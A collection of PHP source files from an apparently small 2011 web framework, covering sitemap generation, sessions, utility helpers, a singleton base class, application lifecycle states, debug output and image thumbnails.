$this->loc = self::normalize_loc($loc);
$this->lastmod = $lastmod;
$this->changefreq = $changefreq;
$this->priority = $priority;
}
public function write()
{
if($this->loc === null)
return false;
echo "\t<url>\n";
echo "\t\t<loc>".htmlentities($this->loc)."</loc>\n";
if($this->lastmod != null)
{
$lastmod = $this->lastmod;
if(is_int($lastmod))
$lastmod = date('c', $lastmod);
echo "\t\t<lastmod>$lastmod</lastmod>\n";
}
if($this->changefreq != null)
echo "\t\t<changefreq>$this->changefreq</changefreq>\n";
if($this->priority != null)
echo "\t\t<priority>$this->priority</priority>\n";
echo "\t</url>\n";
}
public function merge(SitemapEntry $loc)
{
if($this->lastmod === null || $this->lastmod < $loc->lastmod)
$this->lastmod = $loc->lastmod;
}
public static function normalize_loc($loc)
{
// TODO: implement bit pretty
$url = parse_url($loc);
if($url == false)
return false;
if(!isset($url['scheme']))
$url['scheme'] = 'http';
if(!isset($url['host']))
$url['host'] = $_SERVER['SERVER_NAME'];
if(isset($url['port']))
$url['host'] .= ':'.$url['port'];
if(isset($url['pass']))
$url['user'] .= ':'.$url['pass'];
if(isset($url['user']))
$url['host'] = $url['user'].'@'.$url['host'];
if(isset($url['query']))
$url['path'] .= '?'.$url['query'];
if(isset($url['fragment']))
$url['path'] .= '#'.$url['fragment'];
return $url['scheme'].'://'.$url['host'].(isset($url['path']) ? $url['path'] : '/');
}
}
class Sitemap extends SafeObject implements IteratorAggregate
{
protected $entries = array();
protected $removals = array();
public function __construct()
{
parent::__construct();
$this->remove('/robots.txt');
$this->remove('/sitemap.xml');
}
/**
* Add sitemap entry (do NOT rewrite)
* @param string $loc URL of page. This URL must begin with the protocol (such as http) and end with a trailing slash, if your web server requires it. This value must be less than 2,048 characters.
* @param float $priority float from 0 to 1, default 0.5
* @param string $changefreq one of always, hourly, daily, weekly, monthly, yearly, never
* @param string $lastmod Date in format YYYY-MM-DD
*/
public function add($loc, $priority=null, $changefreq=null, $lastmod=null, $force=false)
{
if(!$loc instanceof SitemapEntry)
$loc = new SitemapEntry($loc, $priority, $changefreq, $lastmod);
if(!$force && isset($this->removals[$loc->loc]) && $this->removals[$loc->loc])
return false;
if(!isset($this->entries[$loc->loc]))
$this->entries[$loc->loc] = $loc;
else
$this->entries[$loc->loc]->merge($loc);
return true;
}
public function remove($loc)
{
$loc = SitemapEntry::normalize_loc($loc);;
$this->removals[$loc] = true;
if(isset($this->entries[$loc]))
unset($this->entries[$loc]);
}
public function getIterator()
{
return new ArrayIterator($this->entries);
}
public function write()
{
if(!headers_sent())
header('Content-Type:application/xml; charset=UTF-8');
echo '<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/style/sitemap.xsl"?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"
xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
';
foreach ($this as $entry)
$entry->write();
echo '</urlset>';
}
public function traverse_dir($base_url, $path, $recursive=true)
{
$path = realpath($path).'/';
$base_url = SitemapEntry::normalize_loc($base_url);
$dir = new DirectoryIterator($path);
$dirs = array();
foreach($dir as $d)
{
$filename = $d->getFilename();
if(substr($filename, 0, 2) == '__' && $filename != '__index.php' && $filename != '__index.tpl')
continue;
if($d->isfile())
{
$ext = substr($filename, -4);
if($ext == '.tpl' || $ext == '.php')
{
$file = substr($d, 0, -4);
if($file === '__index')
$this->add(rtrim($base_url, '/'), null, null, $d->getMTime());
else
$this->add($base_url.$file, null, null, $d->getMTime());
}
}
else if($recursive && $d->isdir() && !$d->isdot())
{
$loc = $base_url.$d.'/';
if(!isset($this->removals[$loc]) || !$this->removals[$loc])
$this->traverse_dir($loc, $path.$d);
}
}
}
}
<file_sep><?php
class TrackUri extends Entity
{
public function __toString()
{
return $this->uri;
}
public function toHtml()
{
$ue = htmlentities($this->uri);
return "<a href=\"$ue\">$ue</a>";
}
}
class TrackUriTable extends EntityTable
{
protected $entityType = 'TrackUri';
protected $dbTable = 'track_uri';
public function __construct()
{
parent::__construct();
$this->addColumn(new ColumnId());
$this->addColumn(new ColumnVarchar('uri', 255));
$this->addColumn(new ColumnBool('track_params', array('default'=>false)));
$this->addColumn(new ColumnInteger('cnt', array('default'=>0)));
}
}
<file_sep><?php
class HtmlForm extends HtmlWidget
{
public function __construct($name_or_attrs = null, $parent = null)
{
parent::__construct('form', $name_or_attrs, $parent);
if(!$this->hasAttribute('action'))
$this->setAttribute('action', URI::getCurrent()->setQuery());
}
public function setName($name)
{
parent::setName($name);
$this->setAttribute('name', $name);
$this->setAttribute('id', $name);
}
public function addSelect($attributes=null, $content=null)
{
Html::Select($attributes, $content, $this);
return $this;
}
}
<file_sep><?php
class SessionPhpNative extends Session
{
private $started = false;
protected function __construct()
{
parent::__construct();
}
public function isStarted()
{
return $this->started;
}
public function start()
{
if($this->started)
return;
if(!session_start())
throw new InvalidOperationException('Session cannot be started');
// read variables and replace _SESSION global
Session::$variables->setVars($_SESSION);
$_SESSION = Session::$variables;
return $this->started = true;
}
public function startNew()
{
if($this->started)
throw new InvalidOperationException('Session already started');
session_regenerate_id(true);
if(!session_start())
throw new InvalidOperationException('Session cannot be started');
$_SESSION = Session::$variables;
return $this->started = true;
}
protected function checkStarted($start = false)
{
if(!$this->isStarted())
{
if($start)
return $this->start();
else
throw new InvalidOperationException('Session was not started');
}
return true;
}
public function has($name, $value)
{
Session::$variables->set($name, $value);
}
public function set($name, $value)
{
Session::$variables->set($name, $value);
}
public function get($name)
{
return Session::$variables->get($name);
}
public function unsetVar($name)
{
return Session::$variables->unsetVar($name);
}
// ArrayAccess
public function offsetExists ($offset) { return $this->has($offset); }
public function offsetGet ($offset) { return $this->get($offset); }
public function offsetSet ($offset, $value) { $this->set($offset, $value); }
public function offsetUnset ($offset) { $this->unsetVar($offset); }
}
<file_sep><?php
/**
* get execution time in seconds at current point of call in seconds
* @return float Execution time at this point of call
*/
function get_execution_time()
{
static $microtime_start = null;
if($microtime_start === null)
{
if(isset($GLOBALS['microtime_start']))
{
$microtime_start = $GLOBALS['microtime_start'];
}
else
{
$microtime_start = microtime(true);
return 0.0;
}
}
return microtime(true) - $microtime_start;
}
get_execution_time();
/**
* Write permanent or temporaly redirect header and end proccesing.
* Enter description here ...
* @param string $target url
* @param bool[optional] $temporaly if redirect is temporaly
*/
function redirect($target = null, $temporaly = false)
{
if($target === null)
$target = get_POST_GET('redirect', get_POST_GET('return_url', '..'));
header('Location: '.$target, true, $temporaly ? 307 : 301);
Application::getInstance()->done();
}
/**
* Create random string from characters in $valid_chars
* @param int $length
* @param string[optional] $valid_chars defaults to [0-9a-zA-Z] '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
*/
function str_random($length = 8, $valid_chars = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
{
$result = '';
$max = strlen($valid_chars)-1;
for($n=0; $n < $length; $n++)
$result .= $valid_chars[rand(0,$max)];
return $result;
}
/**
* Check if $text start with $required
* @param unknown_type $required
* @param unknown_type $text
* @return bool
*/
function str_start_with($required, $text)
{
return substr($text, 0, strlen($required)) === $required;
}
/**
* Append value or array items to array
* @return int
*/
function array_append(array &$array, $value)
{
if(is_array($value))
{
$c = 0;
foreach($value as $val)
{
$array[] = $val;
$c++;
}
return $c;
}
$array[] = $value;
return 1;
}
/**
* Behaves like array_merge_recursive and array_merge, but
* does not create new array if value is not array type,
* instead replace it as array_merge do
*
* Source: http://www.php.net/manual/en/function.array-merge-recursive.php#104145
*/
function array_merge_recursive_simple()
{
if (func_num_args() < 2) {
trigger_error(__FUNCTION__ .' needs two or more array arguments', E_USER_WARNING);
return;
}
$arrays = func_get_args();
$merged = array();
while ($arrays) {
$array = array_shift($arrays);
if (!is_array($array)) {
trigger_error(__FUNCTION__ .' encountered a non array argument', E_USER_WARNING);
return;
}
if (!$array)
continue;
foreach ($array as $key => $value)
if (is_string($key))
if (is_array($value) && array_key_exists($key, $merged) && is_array($merged[$key]))
$merged[$key] = call_user_func(__FUNCTION__, $merged[$key], $value);
else
$merged[$key] = $value;
else
$merged[] = $value;
}
return $merged;
}
/**
* Generate unique html id
*/
function get_document_unique_id()
{
static $counter = 0;
return sprintf('__%x', $counter++);
}
function str_remove_dia($text)
{
return iconv("utf-8", "ascii//TRANSLIT", $text);
}
function get_type($var)
{
if(is_object($var))
return get_class($var);
if(is_null($var))
return 'null';
if(is_string($var))
return 'string';
if(is_array($var))
return 'array';
if(is_int($var))
return 'integer';
if(is_bool($var))
return 'boolean';
if(is_float($var))
return 'float';
if(is_resource($var))
return 'resource';
throw new NotImplementedException();
}
function get_POST($name, $default=null)
{
return isset($_POST[$name]) ? $_POST[$name] : $default;
}
function get_GET($name, $default=null)
{
return isset($_GET[$name]) ? $_GET[$name] : $default;
}
function get_POST_GET($name, $default=null)
{
return isset($_POST[$name]) ?
$_POST[$name] :
(isset($_GET[$name]) ? $_GET[$name] : $default);
}
function get_SERVER($name, $default=null)
{
return isset($_SERVER[$name]) ? $_SERVER[$name] : $default;
}
function request_is_ajax()
{
return ('xmlhttprequest' == strtolower(get_SERVER('HTTP_X_REQUESTED_WITH', '')))
|| get_GET('ajax', false)
|| get_GET('json', false);
}
function header_nocache()
{
header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');
}
/**
* Behaves as build-in is_null() except for DbNull returns true.
* @retur bool if value is null or DbNull
*/
function isnull($value)
{
if($value instanceof DbNull)
return true;
return is_null($value);
}
function isnull_trim_empty($value)
{
if($value instanceof DbNull)
return true;
if(is_null($value))
return true;
if(is_string($value) && trim($value) == '')
return true;
return ! ( (bool) $value);
}
/**
* Write JSON response and exit
*/
function response_json($data)
{
while(ob_get_level() > 0)
ob_end_clean();
header_nocache();
header('Content-type: application/json');
echo json_encode($data);
Application::getInstance()->done();
}
function file_backup($file, $throw=true, $rename=false, $prefix='', $suffix='.bak')
{
if(!$file instanceof SplFileInfo)
$file = new SplFileInfo($file);
if($file->isDir())
if($throw) throw new InvalidOperationException('Cannot backup directory');
else return false;
if($file->isLink())
if($throw) throw new InvalidOperationException('Cannot backup file, file is link');
else return false;
$path = $file->getPath().'/';
$filename = $file->getFilename();
$i = 0;
do
{
$newfilename = $path.$prefix.$filename.sprintf('.%04d',$i).$suffix;
$i++;
}
while(is_file($newfilename));
$result = $rename ?
rename($file->getPathname(), $newfilename) :
copy($file->getPathname(), $newfilename);
if(!$result)
if($throw) throw new InvalidOperationException('Cannot backup file "'.$filename.'" to "'.$newfilename.'"');
return $result;
}
/*
if(!isset($GLOBALS['__STR_CAMEL_TO_UNDERSCORE']))
$GLOBALS['__STR_CAMEL_TO_UNDERSCORE'] = array();
function str_camel_to_underscore($camelCasedId, $register_expected_result=null)
{
$dict =& $GLOBALS['__STR_CAMEL_TO_UNDERSCORE'];
if(isset($dict[$camelCasedId]))
return $dict[$camelCasedId];
if($register_expected_result !== null)
{
if(!is_string($register_expected_result))
throw new InvalidArgumentException('second argument of str_camel_to_underscore() must be string');
$dict[$camelCasedId] = $register_expected_result;
return $register_expected_result;
}
}
*/<file_sep><?php
/**
* Abstract for permission resolver
* @author langpavel
*/
interface IPermissionResolver
{
/**
* Resolve permission.
* @param string $permission
* @return bool
*/
function queryPermission($permission_name);
}<file_sep><?php
/**
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
require_once __DIR__.'/../Classes/SafeObject.php';
require_once __DIR__.'/../Interfaces/ISingleton.php';
/**
* Singleton abstract base class implementation
* using late static binding introduced in PHP 5.3.0
*
* @abstract PHP is dynamic language and this is possible implementation.
* Singleton class provides static method getInstance() that
* returns always only one same instance of called class
*
* @author <NAME>
*/
abstract class Singleton extends SafeObject implements ISingleton
{
/**
* private static array of all created singleton instances
* @var array of Singleton derived classes
*/
private static $instances = array();
/**
* Magic method __clone() is FORBIDDEN, singleton should not be cloned.
*/
protected final function __clone()
{
// late static binding as of PHP 5.3.0
$class = get_called_class();
throw new RuntimeException("Cannot clone the singleton class $class");
}
/**
* cleanup...
*/
function __destruct()
{
$class = get_called_class();
unset(self::$instances[$class]);
}
/**
* Get singleton instance
*/
public static function getInstance()
{
// late static binding as of PHP 5.3.0
$class = get_called_class();
return (isset(self::$instances[$class])) ? self::$instances[$class] : self::createNewInstance($class);
}
// Do not work, static and instance methods cannot share same name
// If this behavior should be requested, the naming convention should be created
// /**
// * Emulate static call method on Singleton
// * as call to instance method on actual singleton instance
// */
// public static function __callStatic($name, $arguments)
// {
// $callback = array(self::getInstance(), strtolower($name));
// if(!function_exists($callback))
// throw new PhpSkeletException("Call to non existing singleton method $name");
// return call_user_func_array($callback, $arguments);
// }
/**
* For descendants of concrete singleton class replacing its functionality
*
* @param string $class class name or null for current
* @param string $parentClass substituted parent class, array for many replaces or null for ommit this functionality
* @throws InvalidProgramException
*/
protected static function thisIsInstance($parentClass, $selfClass = null)
{
if($selfClass === null)
$selfClass = get_called_class();
return (isset(self::$instances[$selfClass])) ? self::$instances[$selfClass] : self::createNewInstance($selfClass, $parentClass);
}
private static function setReplacedClass($instance, $replacedParentClass)
{
if(!($instance instanceof $replacedParentClass))
throw new InvalidProgramException("$class is not instance of $replacedParentClass");
self::$instances[$replacedParentClass] = $instance;
}
private static function setReplacedClasses($instance, $replacedParentClasses)
{
if(is_array($replacedParentClasses))
{
foreach($replacedParentClasses as $replacedParentClass)
self::setReplacedClass($instance, $replacedParentClass);
}
else
{
self::setReplacedClass($instance, $replacedParentClasses);
}
}
private static function createNewInstance($class = null, $replacedParentClass = null)
{
if($class === null)
$class = get_called_class();
self::$instances[$class] = $instance = new $class(); // or new static();
if($replacedParentClass != null)
self::setReplacedClasses($instance, $replacedParentClass);
return $instance;
}
/**
* Get names of all created singleton instances
* Enter description here ...
*/
public static function getInstanceNames()
{
return array_keys(self::$instances);
}
}
<file_sep><?php
interface IEntity extends ArrayAccess
{
// KEEP IN MIND THAT FOR EVERY DATABASE ROW THIS IS INSTANTIATED
// TRY STORE MINIMUM AS POSSIBLE IN ENTITY INSTANCE!!!
// IF POSSIBLE, MOVE ENTITY CONSTANT THINGS TO CLASS STATICS
// FLAGS
const VERSION_DEFAULT = 0x00;
const VERSION_ORIGINAL_DB = 0x01;
const VERSION_NEW_DB = 0x02;
const VERSION_MASK_DB = 0x03;
const VERSION_ORIGINAL = 0x04;
const VERSION_NEW = 0x08;
const VERSION_MASK_VALUE = 0x0c;
// FLAGS
const FLAGS_UNKNOWN_STATE = 0x00;
const FLAGS_ATTACHED = 0x01; // if entity is attached to EntityTable
const FLAGS_DATA_SAVE_INSERT = 0x02;
const FLAGS_DATA_SAVE_UPDATE = 0x04;
const FLAGS_DATA_SAVE_REPLACE = 0x06;
const FLAGS_DATA_SAVE_DELETE = 0x08;
const FLAGS_DATA_LOADED = 0x10;
const FLAGS_DATA_CHANGED = 0x20;
/**
* Get entity mapping
* @return EntityTable
*/
public static function getTable();
public static function create();
public static function load();
public static function loadOrCreate();
public static function exists();
public static function find();
public function save();
public function delete();
public function has($name, $version = null);
public function get($name, $version = IEntity::VERSION_NEW);
public function set($name, $value, $version = IEntity::VERSION_NEW);
public function hasChanges();
public function getChanges();
}
<file_sep><?php
$em = EntityManager::getInstance();
$em->registerEntity(array(
'table'=>'track_uri',
'class'=>'TrackUri'
));
<file_sep><?php
require_once __DIR__.'/../PhpSkelet.php';
final class Application extends SafeObject implements ArrayAccess
{
const APP_STATE_SICK = 0x00; // this should never happen
const APP_STATE_CREATED = 0x01;
const APP_STATE_INITIALIZING = 0x02;
const APP_STATE_CREATED_OR_INITIALIZING = 0x03; // bitwise mix
const APP_STATE_INITIALIZED = 0x04;
const APP_STATE_RUNNING = 0x10;
const APP_STATE_RUNNING_REQUEST = 0x11;
const APP_STATE_RUNNING_RESPONSE = 0x12;
const APP_STATE_DONE = 0x20;
const APP_STATE_FINISHING = 0x40;
const APP_STATE_FINISHED = 0x80;
private static $instance = null;
private $app_state = Application::APP_STATE_SICK;
private $hooks = array();
private $variableSet;
protected $request_host;
protected $request_uri;
/**
* Get Application instance
* @return Application
*/
public static function getInstance()
{
return (Application::$instance === null) ?
Application::$instance = new Application() :
Application::$instance;
}
protected function __construct()
{
parent::__construct();
$this->variableSet = new \VariableSet();
$this->app_state = Application::APP_STATE_CREATED;
}
protected function __clone()
{
throw new InvalidOperationException('Application cannot be cloned');
}
public function getRequestUri()
{
return $this->request_uri;
}
/**
* Get current application state
*/
public function getState()
{
return $this->app_state;
}
/**
* Check if application is in correct state, use bitwise or when multiple states are accepted
* @param int $required_state
* @param bool $throw if will throw exception on mismatch, dafault throws
* @throws ApplicationException
*/
public function checkState($required_state = Application::APP_STATE_RUNNING, $throw = true)
{
if(($this->app_state & $required_state) === 0) // bitwise operation
if($throw)
throw new ApplicationException('Application is in state '.
$this->app_state.' but state '.$required_state.' required');
else
return false;
return true;
}
/**
* register application hook
* @param IApplicationHook $hook
*/
public function registerHook(IApplicationHook $hook)
{
$this->checkState(Application::APP_STATE_CREATED_OR_INITIALIZING);
$this->hooks[] = $hook;
}
protected function runHooks($method, $first_result = false)
{
if($this === null)
return false;
try
{
foreach($this->hooks as $hook)
{
$handled = $hook->$method($this);
if($first_result && $handled)
return $handled;
}
return !$first_result;
}
catch(ApplicationDoneSpecialException $exception)
{
return true;
}
}
/**
* Initialize application
* @param unknown_type $request_host
* @param unknown_type $request_uri
*/
public function init($request_host = null, $request_uri = null)
{
$this->checkState(Application::APP_STATE_CREATED);
$this->app_state = Application::APP_STATE_INITIALIZING;
if($request_host === null)
$request_host = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : null);
if($request_uri === null)
{
$request_uri = (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : null);
$qmark = strpos($request_uri, '?');
if($qmark > 0)
$request_uri = substr($request_uri, 0, $qmark);
}
$this->request_host = $request_host;
$this->request_uri = $request_uri;
register_shutdown_function(array($this, 'finish'));
$this->runHooks('init', true);
// advance to next state
$this->app_state = Application::APP_STATE_INITIALIZED;
}
/**
* Start processing requests
*/
public function run()
{
$this->checkState(Application::APP_STATE_INITIALIZED);
$this->app_state = Application::APP_STATE_RUNNING;
// strip out
$result = $this->runHooks('run', true);
if(!$result)
$this->Http404();
$this->app_state = Application::APP_STATE_DONE;
}
public function finish()
{
// note that finish should by called explicitly in normal flow
// but is so called by register_shutdown_function
if($this->app_state === Application::APP_STATE_FINISHED)
return true; // we fineshed correctly
if($this->app_state === Application::APP_STATE_FINISHING)
{
// TODO: Some good error/warning log mechanism should go there
echo "\nERROR: Application not correctly finished, error ocured while finishing\n";
return false;
}
if($this->app_state !== Application::APP_STATE_DONE)
{
// TODO: Some good error/warning log mechanism should go there
echo "\nERROR: Application run not finish correctly\n";
}
$this->app_state === Application::APP_STATE_FINISHING;
$this->runHooks('finish');
$this->app_state === Application::APP_STATE_FINISHED;
}
public function getVariables()
{
return $this->variableSet;
}
public function done()
{
throw new ApplicationDoneSpecialException();
}
public function showErrorPage($http_code, $path=null, $exit = true)
{
$http_code_name = '';
switch ($http_code)
{
case 403:
$http_code_name = 'Forbidden';
break;
case 404:
$http_code_name = 'Not Found';
break;
}
header('HTTP/1.1 '.$http_code.' '.$http_code_name);
header('Content-Type: text/html');
$errtext = "HTTP $http_code $http_code_name";
echo "<html>\n<head><title>$errtext</title></head>\n";
echo "<body>\n<h1>$errtext</h1>\n";
echo "<p>You see this page because your request is probably invalid.</p>";
echo "</body></html>";
}
public function Http403($exit = true)
{
$this->showErrorPage(403, null, $exit);
}
public function Http404($exit = true)
{
$this->showErrorPage(404, null, $exit);
}
public function getExecutionTime()
{
return get_execution_time();
}
// ArrayAccess - defer calls to VariableSet
public function offsetExists ($offset) { return $this->variableSet->isVar($offset); }
public function offsetGet ($offset) { return $this->variableSet->get($offset); }
public function offsetSet ($offset, $value) { $this->variableSet->set($offset, $value); }
public function offsetUnset ($offset) { $this->variableSet->unsetVar($offset); }
}
$_GLOBALS['application'] = Application::getInstance();
<file_sep><?php
require_once __DIR__.'/SourceEntry.php';
class SourceFile extends SourceEntry
{
public $extension;
public $subtype;
public $mimeType;
public function __construct($entry, $extension=null, $subtype=null)
{
parent::__construct($entry);
if($extension === null)
$extension = pathinfo($this->pathname, PATHINFO_EXTENSION);
$this->extension = $extension;
if($subtype === null)
$subtype = get_class($this);
$this->subtype = $subtype;
try {
$finfo = finfo_open(FILEINFO_MIME_TYPE); // return mime type ala mimetype extension
$this->mimeType = finfo_file($finfo, $this->pathname);
finfo_close($finfo);
}
catch (Exception $err)
{
$this->mimeType = 'application/octet-stream';
}
}
public function getContent()
{
return file_get_contents($this->pathname);
}
public function getFileHash($algo = 'sha256')
{
return hash_file($algo, $this->pathname);
}
public function getHighlightedSource()
{
echo '<code class="source">'."\n";
echo htmlspecialchars($this->getContent());
echo "\n</code>";
}
public function backupAndWriteContent($content)
{
file_backup($this->pathname, true, true);
file_put_contents($this->pathname, $content);
}
public function delete()
{
if(!$this->canDelete)
return false;
return unlink($this->pathname);
}
}
<file_sep><?php
class ColumnInteger extends TableColumn
{
private $display_format;
public function __construct($name, array $params = null)
{
if($params !== null)
{
$this->consume_param($params,
'display_format', array($this, 'setDisplayFormat'));
}
parent::__construct($name, $params);
}
/**
* Get value of display_format
* @return mixed display_format
*/
public function getDisplayFormat() { return $this->display_format; }
/**
* Set value of display_format - as of sprintf()
* @param mixed $value display_format
* @return ColumnInteger self
*/
public function setDisplayFormat($value) { $this->display_format = $value; return $this; }
public function correctValue(&$value, &$message = null, $strict = false)
{
if(is_int($value))
return true;
$message='Value is not integer';
if($strict)
return false;
if(is_numeric($value))
{
$value = (int)$value;
return true;
}
$message='Value is not a valid integer';
return false;
}
}<file_sep><?php
class TplSourceFile extends SourceFile
{
}
<file_sep><?php
class PrimaryKeyValueProxy extends SafeObject implements ISqlValue
{
private $value;
public function __construct($value = null)
{
$this->value = $value;
}
public function toSql()
{
return $this->value;
}
function __toString()
{
return (string) $this->value;
}
}
<file_sep><?php
/**
*
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
function dd_trace($skip = 0, $trace = null)
{
$d = Debug::getInstance();
if($trace === null)
$trace = debug_backtrace();
echo '<table style="border:1px #888 solid;"><thead>';
echo '<tr>';
echo '<th> </th>';
echo '<th>Function</th>';
echo '<th>Line</th>';
echo '<th>File</th>';
echo '<th>Class</th>';
echo '<th>Object</th>';
echo '<th>Type</th>';
echo '<th>Args</th>';
echo '</tr></thead><tbody>';
$cnt = count($trace) - $skip + 1;
foreach($trace as $t)
{
$f=$t['function'];
$skip--;
if($skip >= 0)
{
continue;
}
$cls = isset($t['class']) ? $t['class'] : '';
$obj = isset($t['object']) ? $d->dump($t['object']) : '';
$type = isset($t['type']) ? $d->dump($t['type']) : '';
echo '<tr style="background-color:#ffa;">';
echo '<td style="font-family:Monospace; font-size:smaller;">'.($cnt+$skip).'</td>';
echo '<td style="font-family:Monospace;">'.$f.'</td>';
echo '<td style="font-family:Monospace;">'.(isset($t['line']) ? $t['line'] : '').'</td>';
echo '<td style="font-family:Monospace;">'.(isset($t['file']) ? $t['file'] : '').'</td>';
echo '<td style="font-family:Monospace;">'.$cls.'</td>';
echo '<td>'.$obj.'</td>';
echo '<td>'.$type.'</td>';
if(isset($t['args']))
{
if(is_array($t['args']))
echo '<td style="font-family:Monospace;">('.$d->dump_array_comma($t['args']).')</td>';
else
echo '<td style="font-family:Monospace;">('.$d->dump($t['args']).')</td>';
}
else
echo '<td style="font-family:Monospace;"> </td>';
echo '</tr>';
}
echo '</tbody></table>';
}
/**
* Debug Dump with backtrace
*/
function dd()
{
$d = Debug::getInstance();
$result = '';
$args = func_get_args();
$result = '<span style="font-family:Monospace;">dd('. $d->dump_array_comma($args) .')</span>';
echo $result;
}
/**
* Debug Dump with backtrace
*/
function ddd()
{
$d = Debug::getInstance();
$result = '';
$args = func_get_args();
$btrc = debug_backtrace();
if(empty($args))
{
if(!isset($btrc[1]))
$result = '<span style="font-family:Monospace;">function dd();</span>';
else
{
$args = $btrc[1]['args'];
$result = '<span style="font-family:Monospace;">function '. $btrc[1]['function'].'('. $d->dump_array_comma($args) .');</span>';
}
}
else
{
$result = '<span style="font-family:Monospace;">dd('. $d->dump_array_comma($args) .')</span>';
}
echo $result;
dd_trace(0, $btrc);
}
<file_sep><?php
/**
* Singleton class for anonymous user
* @author langpavel
*/
class AnonymousUser extends User
{
private static $instance = null;
public static function getInstance()
{
if(AnonymousUser::$instance === null)
AnonymousUser::$instance = new AnonymousUser();
return AnonymousUser::$instance;
}
public function isAnonymous()
{
return true;
}
public function getNick()
{
return null;
}
public function queryPermission($permission_name)
{
return false;
}
}
<file_sep><?php
/**
*
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
interface IWidget extends IComposite
{
public function renderOutput(IOutputProvider $output);
}
<file_sep><?php
/**
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
require_once __DIR__.'/../Classes/SafeObject.php';
/**
* Abstract base class for prototype managers
* @author <EMAIL>
*/
abstract class PrototypeManager extends Singleton
{
protected $prototypes = array();
public function __construct()
{
parent::__construct();
}
/**
* Register prototype ID and assotiate it with class name or prototype instance.
* @param string $prototypeID
* @param mixed[optional] $prototype String means class name (if ommited same as $entityID), instance is prototype
* @param bool[optional] $replace Enable replace of registered prototype
*/
public function register($prototypeID, $prototype = null, $replace = false)
{
if($prototype === null)
$prototype = $prototypeID;
if(isset($this->prototypes[$prototypeID]))
{
if(!$replace)
throw new InvaldOperationException("Cannot register prototype with ID '$prototypeID': alredy registered");
unset($this->prototypes[$prototypeID]);
}
$this->prototypes[$prototypeID] = $prototype;
}
/**
* Create new instance of prototype
* Enter description here ...
* @param unknown_type $prototypeID
* @throws InvalidArgumentException
*/
public function create($prototypeID)
{
if(!isset($this->prototypes[$prototypeID]))
throw new InvalidArgumentException("Cannot create prototype ID '$prototypeID'");
$proto = $this->prototypes[$prototypeID];
return is_string($proto) ? $this->createInstanceFromClassName($prototypeID, $proto) : clone $proto;
}
protected function createInstanceFromClassName($prototypeID, $className)
{
return new $className();
}
/*
protected function get_raw_instance($prototypeID, $defaul = null)
{
return isset($this->prototypes[$prototypeID]) ? $this->prototypes[$entityID] : $defaul;
}
*/
}
<file_sep><?php
class GalleryImage extends SafeObject
{
private $pathname;
public $pathinfo;
private $width;
private $height;
public $base_url;
public $url;
public $alt;
public static function tryCreate(SplFileInfo $file, $url_path)
{
if(!$file->isFile())
return false;
return new GalleryImage($file, $url_path);
}
public function __construct($file, $url_path)
{
parent::__construct();
if(!$file instanceof SplFileInfo)
$file = new SplFileInfo($file);
$this->base_url = $url_path;
$this->url = $url_path.($file->getFileName());
$this->alt = $file->getFileName();
$this->pathname = $file->getPathName();
$this->pathinfo = pathinfo($this->pathname);
//$this->extension = $file->get
}
public function getWidth()
{
return 'auto';
}
public function getHeight()
{
return 'auto';
}
private function getThumbDir($width, $height, $effect)
{
if($effect === null)
return '__'.$width.'x'.$height;
$effect = str_replace(array('#','-','+',':'), '', $effect);
return '__'.$effect.'_'.$width.'x'.$height;
}
public function getThumb($width, $height, $effect=null, $extension=null)
{
if($effect === null)
$effect = 'thumb';
if($extension === null)
$extension = 'png';
$thumb_dir = $this->getThumbDir($width, $height, $effect);
$thumbpathname = $this->pathinfo['dirname'].'/'.$thumb_dir;
if(!is_dir($thumbpathname))
return $this->createThumb($width, $height, $effect, $extension);
$thumbpathname .= '/'.$this->pathinfo['filename'].'.'.$extension;
if(is_file($thumbpathname))
return new GalleryImage($thumbpathname, $this->base_url.$thumb_dir.'/');
else
return $this->createThumb($width, $height, $effect, $extension);
}
private function createThumb($width, $height, $effect, $extension)
{
if($effect === null)
$effect = 'thumb';
$thumb_dir = $this->getThumbDir($width, $height, $effect);
$thumbpathname = $this->pathinfo['dirname'].'/'.$thumb_dir;
if(!is_dir($thumbpathname))
{
mkdir($thumbpathname, 0775);
chmod($thumbpathname, 0775);
}
$thumbpathname .= '/'.$this->pathinfo['filename'].'.'.$extension;
$imagick = new Imagick($this->pathname);
$blur = 0.75;
$filter = Imagick::FILTER_GAUSSIAN;
$args = explode(':', $effect);
switch($args[0])
{
case 'thumb':
$fit = in_array('fit', $args) && ($width != 0 && $height != 0);
$imagick->resizeimage($width, $height, $filter, $blur, $fit);
break;
case 'photo':
$fit = in_array('fit', $args) && ($width != 0 && $height != 0);
$imagick->resizeimage($width * 2, $height * 2, $filter, $blur, $fit);
$shadowcolor = isset($args[1]) ? $args[1] : '#000';
$imagick->setImageBackgroundColor(new ImagickPixel($shadowcolor));
$imagick->polaroidimage(new ImagickDraw(), rand(-40, 40) / 10.0);
$imagick->resizeimage($width, $height, $filter, $blur, $fit);
break;
default:
throw new InvalidArgumentException("Effect '$effect' is unknown for thumb function");
}
$imagick->writeimage($thumbpathname);
return new GalleryImage($thumbpathname, $this->base_url.$thumb_dir.'/');
}
}
<file_sep><?php
/**
* For all objects that can be accessed via URI
*
* @author <NAME> (<EMAIL>)
*/
interface IProvidePermalink
{
/**
* Get URL of current object
* @return string|URI can return both, string or instance of URI. String is preffered
*/
public function getPermalink();
}
<file_sep><?php
/**
*
*/
